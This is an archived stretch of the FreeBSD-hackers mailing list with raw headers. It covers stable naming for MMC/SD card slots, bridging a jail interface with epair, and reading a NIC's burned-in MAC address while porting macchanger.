Mar 5, 2014 at 10:52 PM, Warner Losh wrote: > > On Mar 5, 2014, at 7:48 PM, Patrick Kelsey wrote: > > > > > > > On Mar 5, 2014, at 8:02 PM, Warner Losh wrote: > > > >> > >> On Mar 5, 2014, at 5:53 PM, Patrick Kelsey wrote: > >> > >>> > >>> > >>> > >>> On Wed, Mar 5, 2014 at 5:44 PM, Warner Losh wrote: > >>> > >>> On Mar 5, 2014, at 2:56 PM, Patrick Kelsey wrote: > >>> > >>>> > >>>> > >>>> > >>>> On Wed, Mar 5, 2014 at 4:24 PM, Warner Losh wrote: > >>>> > >>>> On Mar 5, 2014, at 11:55 AM, Patrick Kelsey wrote: > >>>> > >>>>> > >>>>> > >>>>> > >>>>> On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh wrote: > >>>>> > >>>>> On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: > >>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: > >>>>>> > >>>>>> There's a standard property for mmc/sd devices, "non-removable" > whose > >>>>>> presence denotes things like soldered-on eMMC parts. Only one of > our > >>>>>> many sdhci drivers supports it right now (imx). In general the core > >>>>>> part of the driver (dev/sdhci) doesn't have good support for > >>>>>> insert/remove/presence detection that's handled off to the side > (whether > >>>>>> it's non-removable or a gpio pin). > >>>>>> > >>>>>> That alone doesn't solve the wider problem, though, which I think > breaks > >>>>>> down into two pieces. Let's say you've got two slots, call them > left > >>>>>> and right. You end up with these two problems... > >>>>>> > >>>>>> * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 > if > >>>>>> there's a card in the left slot when I boot; I don't want it > to > >>>>>> change. > >>>>>> > >>>>>> And not just a boot-time issue, of course. If you were to remove > those two cards and then reinsert them in the opposite time-order, their > device names would swap. > >>>>>> > >>>>>> * I want the slot on the left to be named '1' and the right to > be > >>>>>> '0'. > >>>>>> > >>>>>> The first problem is easily solved without impacting dts in any > way. We > >>>>>> just wire down the relationship controllerN -> mmcN -> mmcsdN. > This is > >>>>>> exactly equivelent to the old ATA_STATIC_ID option in its effect -- > you > >>>>>> don't get to choose the names, but you know they won't change based > on > >>>>>> which devices are present. It could be controlled with a tunable. > >>>>>> > >>>>>> It's harder to envision the fix for the second part without adding > an > >>>>>> ad-hoc property for the devices. Even with a property I'm not sure > how > >>>>>> easy it would be. > >>>>>> > >>>>>> We should be able to assign a geographic address > (controllerX:slotY) to each mmcsd device in a given system (let's ignore > for now the theoretical possibility of multiple cards on one bus). The > 'controllerX' part of the address could be the controller's pathname from > the devicetree, or an index assigned by mmcbr machinery at attach time. > The "slotY" part of the address is assigned by the specific controller > device driver using some internally-determined fixed mapping between the > assigned values and its physical slots. This geographic address could be > used to create an additional set of /dev entries with stable names. There > could be a mechanism for user-configurable aliases for the geographical > addresses. > >>>>> > >>>>> There's already a chance to run a script when a device is attached > that can create /dev/slot0 or /dev/slot1 that has geographical information > available to it. People use ddvd for this in the USB world all the time to > make sure that tty devices get a symlink based on their location or serial > number. > >>>>> > >>>>> Why is mmc so different it needs its own mechanism? > >>>>> > >>>>> I'm laying out my view of the information that would be needed and > the types of actions that would have to be taken based on that information > to solve the issue. I'm not saying devd can't be the piece that is used to > implement the actions (indeed, I noted devd as a potential building block > for a solution in my initial response). I'm also not saying mmc needs its > own mechanism, I'm saying it needs /a/ mechanism, and so far there still > seems to be something missing (because it's not there, or I'm still > ignorant of it). > >>>>> > >>>>> What seems to be missing is geographical addressing for mmc devices. > >>>>> > >>>>> I think what you might be saying is that the existing mmcsd > add/remove code could be augmented to send devctl notifications, along the > lines of: > >>>>> > >>>>> devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... > controller= > slot= rca=") > >>>>> > >>>>> and then I and the fine author of devctl and devd would be pleased. > >>>> > >>>> MMC doesn't need anything special here. That's already present. > Looking at the device tree we see on one of the platforms that's handy for > me to access: > >>>> > >>>> at91_mci0 > >>>> mmc0 > >>>> mmcsd0 at rca=0xb368 > >>>> > >>>> So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which > is ultimately the FDT node where things came from. There's not a > user-defined slot associated with this (and we should have a SLOT A vs SLOT > B as a location info for this platform, because we can have two cards on > the one bus in the MMC case), true, but for your use case I don't think > that you need it. We should be attaching the host controller regardless of > whether the or not there's a card in there, so it will be fixed. While some > additional information would be useful to publish, I don't think your use > case requires it... > >>>> > >>>> > >>>> The reason you need something extra here is that what is there now > breaks down whenever you don't have a one-to-one mapping between > controllers and buses. Any controller with more than one slot can yield > something of the form: > >>>> > >>>> sdhci0 > >>>> mmc0 > >>>> mmcsd0 at rca=0xabcd > >>>> mmc1 > >>>> mmcsd1 at rca=0x1234 > >>>> > >>>> and you have no idea what physical slot in the system mmcsd0 and > mmcsd1 are in. > >>> > >>> The driver isn't going to be able to help you, because it reports mmc0 > based on the data it gets from slot 0 status registers, and mmc1 based on > slot 1 status registers. Since there's no notion of how that maps to > physical hardware, the driver can't do anything automatically. And since > mmc on down is populated by FreeSBD, there's no hints in the FDT tree for > them. > >>> > >>> > >>>> For my immediate use case, sure, I can rely on the one-to-one > relationship between controllers and buses. At this point, though, rather > than skate by on that happy coincidence, I'd rather invest what now seems > to be a rather small amount of effort adding mmcsd devctl notifications > that would cover the multiple-slots-per-controller case as well, and then > build the rest of what I want on top of that information coming out of ddvd. > >>> > >>> Trouble is, how do we know what to send with this new notification. > That's the part I'm having trouble with. Where does that data come from? > And how is it different than what's in the device tree? > >>> > >>> > >>> Each controller driver maintains an instance of struct mmc_host for > each physical bus interface (typically referred to as a 'slot' in the > drivers) it has. When a card is detected in a given slot by the driver, > the driver creates an mmc bus instance and attaches the struct mmc_host > corresponding to that slot to provide the ivar values. So let's say struct > mmc_host gets a new member 'slot_number', and a new ivar > MMC_IVAR_SLOT_NUMBER is defined. The slot number in each instance of > struct mmc_host a driver maintains gets set to a controller-relative index > of the corresponding physical interface - the controller will do this the > same way every time, because it is tied to the register layout of the > controller. > >>> > >>> After the mmc bus instance is created and its ivars are set, > probe-and-attach is run on that bus, and an mmcsd device instance is > created for each card that is found. At the point where the mmcsd device > instance is created, one knows the parent bus for that new mmcsd device, > and thus one can get the value of MMC_IVAR_SLOT_NUMBER for that bus, as > well as the name of the controller device instance that is the parent of > the parent bus. It thus possible at that point to > >>> > >>> devctl_notify("MMC", "DEVICE", "ATTACH", "... > controller= slot= > ") > >>> > >>> Because the controller attachment order is the same on every boot, as > is the slot number ivar for a given bus interface on each controller > hardware instance, an identical attach message will be generated every time > a card is discovered in that physical location in the system. For a given > system, there will thus be a fixed mapping between > {controller_instance,slot} tuples that appear in these messages and the > physical MMC/SD device locations. > >> > >> I'm curious how that's materially different than the parent's mmc > instance number. That too is invariant between boots. There's a 1:1 - onto > mapping between this instance number and any controller/slot tuple that > would be created. > >> > > > > Controller instance (unit) numbers are the same across boots. The mmc > instance (unit) number for the mmc instance created for a given bus > interface on a given controller is not, because the instance is created > dynamically in response to card detection and thus depends on the ordering > of card insertions. > > That's the problem right there. The should always be the same from boot to > boot. sdhci must be doing things wrong. I'll have to take a look. That's > the real problem here. That's certainly how it is supposed to be working. > We always attach PCI busses to PCI bridges, regardless of what's on the > bus. mmc should be the same thing. I'll work up some patches for that. > > > Sure, there's a one-to-one and onto mapping at any given moment between > mmc instance numbers and the tuples I'm talking about, but the mapping is > subject to change with card insertions and removals. The material > difference between the two sets of labels is that a given tuple value will > *always* refer to the same physical device location in the system, whereas > a given mmc unit number could refer to any physical device location in the > system depending on the time order of insertions in the various card slots. > > I understand better now... > Yes, this fully explains the disconnect we were having. I was under the impression that sdhci was doing it that way to make way for reprobe/attach/discovery because it's actually doing card detect. It felt a bit weird at the time, but this is the example I followed when I did the mmcspi driver I posted to the list sometime back, as that also had card detect support. > > >> Also, there doesn't need to be a special MMC message for this. If we do > create the notion of a slot number per controller, that would be part of > the location information that is in the location string for the normal > attach message > > > > Ah, so I can just append more variable definitions to the location > string, which is already fed through to the existing generic devctl > notification? Works for me. > > Sure. > > >>> In the above, I've left out the value of rca from the discussion > because upon further reflection, it cannot be stably tied to a physical > location. If there is a multidrop MMC bus in a system, the physical card > locations on that bus will not be able to be referred to with stable names. > This is the one area where a new property in the FDT could be useful to > convey multidrop-or-not for each bus interface on a controller. The new > property could be 'freebsd,max-devices' and would be an array of cells that > indicates the maximum number of MMC/SD devices that can be connected to the > controller bus interface corresponding to that cell index. The devctl > notification could then include a multidrop indicator in the message. > >> > >> rca is more of a serial number than a location number. Useful for other > reasons. > >> > >> I'm not sure how 'freebsd,max-devices' would solve the problem. The > controller already knows that. If we really want to tie things to a > physical location/ description, I'd opt for something more like > 'freebsd,slot-names = "Slot 0", "Slot 1";' type of thing, where you could > just as easily have "Top Card" "bottom card" or "boot card" and "customer > card" if you wanted. Then the controller could query this property to get > the names to populate somewhere in the PNP info for this device. The mmcsd > driver would then be free to also create a /dev/Blah alias as well for the > disk, but I don't know if that would cause aliases to get created for all > the geom children or not... > >> > > > > freebsd,max-devices is not already known by the controller. The > controller knows how many bus interfaces it has, but it doesn't know how > many devices can be attached to that bus, as that depends on the board > design. freebsd,max-devices informs us whether the board design is > multidrop or not for each bus interface on each controller. Passing > through a multidrop indication in the devctl notification informs the > devctl consumer as to whether or not a unique stable name can be assigned > to the mmcsd instance based on the tuple (if multidrop, then no). Not > essential, but would be thorough. > > Hmmm, this sure sounds like something that should already be in the FDT > file. I'll have to do a survey. > > > I disagree with 'freebsd,slot-names' because meaningful/descriptive slot > names are going to be something that are often defined at the product > level, so I think it's better to just let them be defined via a devd action > script. Otherwise we build in an invitation to the experience of having > board-level slot names and product-level slot names from the same > namespace, which is in my experience awful. "Oh, wait, does this bug > report refer to board-'top slot' or front-panel-'top slot'?" In other > words, I think it's handy to have up until the board goes into an > enclosure, then it could be trouble from then on. Plus it could also > encourage further knee-jerk, inappropriate .dts patching of the sort I > started out with here :) "Why make a devd script when I can just edit the > names in the .dts file?" > > Good points. > > > Agreed geom children are an open question. > > > > -Patrick > > Warner > > From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 06:22:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A6B4D5B8 for ; Thu, 6 Mar 2014 06:22:19 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 78075235 for ; Thu, 6 Mar 2014 06:22:19 +0000 (UTC) Received: from julian-mbp3.pixel8networks.com (50-196-156-133-static.hfc.comcastbusiness.net [50.196.156.133]) (authenticated bits=0) by vps1.elischer.org (8.14.7/8.14.7) with ESMTP id s266MI0a083713 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Wed, 5 Mar 2014 22:22:18 -0800 (PST) (envelope-from julian@freebsd.org) Message-ID: <53181410.1030107@freebsd.org> Date: Wed, 05 Mar 2014 22:22:08 -0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Joe Nosay , FreeBSD Hackers Subject: Re: How do I create a cloned interface when there is no static connection? References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 06:22:19 -0000 On 3/5/14, 3:30 PM, Joe Nosay wrote: > I'm thinking that I may need to setup a script to create the interface and > then bridge it so that the jail can connect to the internet. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > not sure I understand the question.. you can create all sorts of 'dummy' interfaces to pass to the jail.. is it a vimage jail or just using aliases? From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 14:13:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BA30B7E0; Thu, 6 Mar 2014 14:13:56 +0000 (UTC) Received: from sender1.zohomail.com (sender1.zohomail.com [72.5.230.95]) by mx1.freebsd.org (Postfix) with ESMTP id 9F00A9C0; Thu, 6 Mar 2014 14:13:56 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=zapps768; d=zoho.com; h=subject:from:to:content-type:date:message-id:mime-version; b=TbKtV4E48CcneUxWTX7odaq/XGHnJJYcwRW60U7AQGqauC11aEP7h4OYGNnZG0KehgDaj8xSOK8K dBa5KUcdEDLGRv3hCk4xXtydrLKKwd+PkCYbBhr/02U1tszSKwz0 Received: from [10.1.2.6] (46.229.54.117 [46.229.54.117]) by mx.zohomail.com with SMTPS id 1394115229136713.3836502795591; Thu, 6 Mar 2014 06:13:49 -0800 (PST) Subject: Reading burned-in NIC MAC address from the user space. From: clutton To: FreeBSD Hackers , freebsd-drivers@freebsd.org Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-rRtYReD8DgP0++REMgX1" Date: Thu, 06 Mar 2014 16:13:42 +0200 Message-ID: <1394115222.8935.17.camel@eva02> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-Zoho-Virus-Status: 1 X-ZohoMail: Ss SS_10 UW UB UW UB SF_TD_EXT SGR3_1_19024_40 X-ZohoMail-Owner: <1394115222.8935.17.camel@eva02>+zmo_0_ X-ZohoMail-Sender: 46.229.54.117 X-ZohoMailClient: External X-Mailman-Approved-At: Thu, 06 Mar 2014 14:33:44 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 14:13:56 -0000 --=-rRtYReD8DgP0++REMgX1 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Hi lists. I'm porting a GNU macchanger to the FreeBSD. Everything has almost done, except restoring the mac to the original one. The Linux users can exploit ioctl with SIOCETHTOOL pointing to a proper ifreq(ETHTOOL_GPERMADDR), I have no idea how to do this using FreeBSD, is it even possible? --=-rRtYReD8DgP0++REMgX1 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAABAgAGBQJTGIKWAAoJECNkWbjnbjuiwU8P/04mq0aGYhWB+LOZ0ytTGSGm HJgbbGOtuoJ4k02tvw0eIIaIkIXZ3uCehFCbxlLLdNbW1Zk9Zy2zIZ2e4TMnsrFe 6YhP3FBdmPs3a6XkpF0cmTYdWAx0mglIcLAWqF/8IPzf7VRfk1iiQh99//DucfiZ 7fSJPgBfzGELTLckOh+VILbe6MFIj3gy8OtJQUkBV59oANwZY7aml27qTucE3PQq MxebbOdDEv0ctpxLdsu1JUzzw6iB9wfGmrLDlITylHQIBcy1RtAOOkPTCOxC44ii MUoXBSV8Lg1Kl29nwGUqrCjdWxmZvmTYfO3jsVHcW4KtpS0yfEwdTV9mtdp7CRwr OLg9UiweLFTnUxvkSHxb30QliBpkmCOVZEC0MF60aapgdZvkQyoOT6len76WMh/+ h4MbLKBfP/xTE9fqfBt+/UA6VTlHfPSaXwHkGgz2boELGzkNJOroH5Uu9kLhSckd PjXLUsP5uTV7skjFK57XUmmAsxTJTFctUxEJKzu5RjOecNDJg8GuV7w7tRgHIkGM 48jrqp5Vogf3XVNWYv1tHbEZCHE8+AaRFD5eQuu88Sk1kdFxvWTil9hgYbuR6sw/ zb3YgrDxkg3EQHczUlicj2uyZXGecV3N/CGOlLIo5WfBXhPkTL6X5/EOmnJ5DoTV Mt/THI9DBz4++POaWucL =ORkF -----END PGP SIGNATURE----- --=-rRtYReD8DgP0++REMgX1-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 15:35:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B72D4F21 for ; Thu, 6 Mar 2014 15:35:11 +0000 (UTC) Received: from mail-ie0-f171.google.com (mail-ie0-f171.google.com [209.85.223.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8251D327 for ; Thu, 6 Mar 2014 15:35:11 +0000 (UTC) Received: by mail-ie0-f171.google.com with SMTP id ar20so2890104iec.2 for ; Thu, 06 Mar 2014 07:35:04 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=ENtx/uvi1cNhvXDJPWLiFDBDzoCm+esX71Ya10o88z8=; b=LZsarYLwtkLkZI5Q7jDVyB0dzB0kR+HDyQ/7x6rSj62/mgAe+MmDnE0HYpkOKj3auE L7Sbjh6pScPGiQM+TPuDF3K+finfdNfuddufInLso0moJcNOrtcYe4nkQ7rZf5YoCue7 1iaqFy0EhK2ll0cNN7fwm4BZI8cm9yDSESPrLszZXfHIi+DYnbGE5yaHIHKRPmQvoUrt Am1+gOKv1zMmeHMcILlOj7hT+8T41wRT7l61EZUfw02H6yae6YF/jg67zeCWt/R+gAie 1J4i7ZBwPL4b6GWNSl+taV6IQ58fcDs8/0exvXuuE54go+saTi+O/C2gces+16kZuoz/ yd/A== X-Gm-Message-State: ALoCoQlE3PEjUkZFzcLzCR+Lc/GohYAUViMJbPb0dIfEnwbylP5T2Hq2shtfsYwZH2jAvoorCCo1 X-Received: by 10.50.182.170 with SMTP id ef10mr16736360igc.9.1394120104490; Thu, 06 Mar 2014 07:35:04 -0800 (PST) Received: from netflix-mac.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id u1sm25341574igm.8.2014.03.06.07.35.03 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 06 Mar 2014 07:35:04 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Reading burned-in NIC MAC address from the user space. From: Warner Losh In-Reply-To: <1394115222.8935.17.camel@eva02> Date: Thu, 6 Mar 2014 08:35:03 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <10C93415-7C49-459E-921E-EE358C3B886C@bsdimp.com> References: <1394115222.8935.17.camel@eva02> To: clutton X-Mailer: Apple Mail (2.1874) Cc: FreeBSD Hackers , freebsd-drivers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 15:35:11 -0000 On Mar 6, 2014, at 7:13 AM, clutton wrote: > Hi lists. >=20 > I'm porting a GNU macchanger to the FreeBSD. Everything has almost = done, > except restoring the mac to the original one. >=20 > The Linux users can exploit ioctl with SIOCETHTOOL pointing to a = proper > ifreq(ETHTOOL_GPERMADDR), I have no idea how to do this using FreeBSD, > is it even possible? I=92d check the source for ifconfig. ifconfig ep0 link 1:2:3:4:5:6 does the trick=85 Warner= From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 17:39:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 631DB47F; Thu, 6 Mar 2014 17:39:02 +0000 (UTC) Received: from mail-oa0-x22c.google.com (mail-oa0-x22c.google.com [IPv6:2607:f8b0:4003:c02::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 204371BA; Thu, 6 Mar 2014 17:39:02 +0000 (UTC) Received: by mail-oa0-f44.google.com with SMTP id n16so2925842oag.31 for ; Thu, 06 Mar 2014 09:39:01 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=p3ViiVjirVsYyvIvbQ3pR06mzGythzhyw9N+ofsEasc=; b=MzMED4VMUZ45IvslBQf+20RnDMHTnZp1k1YH1gKqSfqo35P9T7IOpEEwRAgWNfeW1l PDnIqZqFY9MhDjptyJPaaeJOOhPq8i8z9B6XIRsJ+rg/7uj0GdWlvcyEBS/L8pwKH+OM r9nBz0rjr3BQyvQZOEPi+6nrz/0gxYk+yoqxdIIoGZT4cyAo89wdWfAWbC7QTCIUZxKG EhtMpDPfcyrtVI2i4BgyYgNc4D7bIUJ8ML0NuFpGnMpNT6/o4F7h2QXzawiTWVcEVEY6 KvLZANtNubRV3wsC3uPGot8TQSd7MLJ69GZx2LtMjmH55HW6hzKojuNRA+vI+go6TRzy fDfQ== MIME-Version: 1.0 X-Received: by 10.60.226.138 with SMTP id rs10mr6719098oec.7.1394127541449; Thu, 06 Mar 2014 09:39:01 -0800 (PST) Received: by 10.182.76.201 with HTTP; Thu, 6 Mar 2014 09:39:01 -0800 (PST) In-Reply-To: <53181410.1030107@freebsd.org> References: <53181410.1030107@freebsd.org> Date: Thu, 6 Mar 2014 12:39:01 -0500 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Julian Elischer Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 17:39:02 -0000 On Thu, Mar 6, 2014 at 1:22 AM, Julian Elischer wrote: > On 3/5/14, 3:30 PM, Joe Nosay wrote: > >> I'm thinking that I may need to setup a script to create the interface and >> then bridge it so that the jail can connect to the internet. >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org >> " >> >> not sure I understand the question.. > > you can create all sorts of 'dummy' interfaces to pass to the jail.. is it > a vimage jail or just using aliases? > > I'll need a dummy interface inside of the that can be bridged to wlan0 outside of the jail. Normal jail with aliases. From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 18:02:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D64B21A; Thu, 6 Mar 2014 18:02:50 +0000 (UTC) Received: from hz.grosbein.net (hz.grosbein.net [78.47.246.247]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C7A7164A; Thu, 6 Mar 2014 18:02:49 +0000 (UTC) Received: from eg.sd.rdtc.ru (root@eg.sd.rdtc.ru [62.231.161.221]) by hz.grosbein.net (8.14.7/8.14.7) with ESMTP id s26I2cSe017546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 6 Mar 2014 19:02:39 +0100 (CET) (envelope-from eugen@grosbein.net) X-Envelope-From: eugen@grosbein.net X-Envelope-To: freebsd-hackers@freebsd.org Received: from eg.sd.rdtc.ru (eugen@localhost [127.0.0.1]) by eg.sd.rdtc.ru (8.14.7/8.14.7) with ESMTP id s26I2UQ0038146; Fri, 7 Mar 2014 01:02:30 +0700 (NOVT) (envelope-from eugen@grosbein.net) Message-ID: <5318B836.7040301@grosbein.net> Date: Fri, 07 Mar 2014 01:02:30 +0700 From: Eugene Grosbein User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:17.0) Gecko/20130415 Thunderbird/17.0.5 MIME-Version: 1.0 To: Joe Nosay Subject: Re: How do I create a cloned interface when there is no static connection? References: <53181410.1030107@freebsd.org> In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, score=3.3 required=5.0 tests=BAYES_00, DATE_IN_FUTURE_96_Q, LOCAL_FROM autolearn=no version=3.3.2 X-Spam-Report: * 3.0 DATE_IN_FUTURE_96_Q Date: is 4 days to 4 months after Received: date * -2.3 BAYES_00 BODY: Bayes spam probability is 0 to 1% * [score: 0.0000] * 2.6 LOCAL_FROM From my domains X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on hz.grosbein.net X-Spam-Level: *** Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 18:02:50 -0000 On 07.03.2014 00:39, Joe Nosay wrote: > I'll need a dummy interface inside of the that can be bridged to wlan0 > outside of the jail. Normal jail with aliases. Try epair(4) and give one part of pair to jail and bridge another part with wlan0. From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 18:07:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BAE5D558; Thu, 6 Mar 2014 18:07:18 +0000 (UTC) Received: from sender1.zohomail.com (sender1.zohomail.com [72.5.230.95]) by mx1.freebsd.org (Postfix) with ESMTP id 9C7D169B; Thu, 6 Mar 2014 18:07:18 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=zapps768; d=zoho.com; h=subject:from:to:cc:in-reply-to:references:content-type:date:message-id:mime-version; b=HM/BBNbTdSenXiDT2ynfmwNHykJbDyLwP+GGeDberQtXLsaFu3+m5VRGng/f7XWdgjpFunQxLmmv L26HBA0iKCSWoc1yZXcq2CXVgzeNsBmhYHEB5ZueAUPnlGVO0IFT Received: from [10.1.2.6] (46.229.54.117 [46.229.54.117]) by mx.zohomail.com with SMTPS id 1394129234804195.66643939715425; Thu, 6 Mar 2014 10:07:14 -0800 (PST) Subject: Re: Reading burned-in NIC MAC address from the user space. From: clutton To: Warner Losh In-Reply-To: <10C93415-7C49-459E-921E-EE358C3B886C@bsdimp.com> References: <1394115222.8935.17.camel@eva02> <10C93415-7C49-459E-921E-EE358C3B886C@bsdimp.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-d/hRPNuZ1dX+d7bd1WqS" Date: Thu, 06 Mar 2014 20:07:07 +0200 Message-ID: <1394129227.732.37.camel@eva02> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-Zoho-Virus-Status: 1 X-ZohoMail: Ss SS_10 UW UB UW UB SF_TD_EXT SGR3_1_19024_340 X-ZohoMail-Owner: <1394129227.732.37.camel@eva02>+zmo_0_ X-ZohoMail-Sender: 46.229.54.117 X-Mailman-Approved-At: Thu, 06 Mar 2014 18:16:30 +0000 Cc: FreeBSD Hackers , freebsd-drivers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 18:07:18 -0000 --=-d/hRPNuZ1dX+d7bd1WqS Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Thu, 2014-03-06 at 08:35 -0700, Warner Losh wrote: > On Mar 6, 2014, at 7:13 AM, clutton wrote: >=20 > > Hi lists. > >=20 > > I'm porting a GNU macchanger to the FreeBSD. Everything has almost done= , > > except restoring the mac to the original one. > >=20 > > The Linux users can exploit ioctl with SIOCETHTOOL pointing to a proper > > ifreq(ETHTOOL_GPERMADDR), I have no idea how to do this using FreeBSD, > > is it even possible? >=20 > I=E2=80=99d check the source for ifconfig. >=20 > ifconfig ep0 link 1:2:3:4:5:6 >=20 > does the trick=E2=80=A6 >=20 > Warner No, it doesn't. It does the different trick :) You misunderstood the question. I don't asked how to set the mac address. The question is how to read burned in mac address from user space. ifconfig is not capable doing such a thing. As I can see the drivers read MAC from EEPROM using different ways. Is there any interface to this low level work? 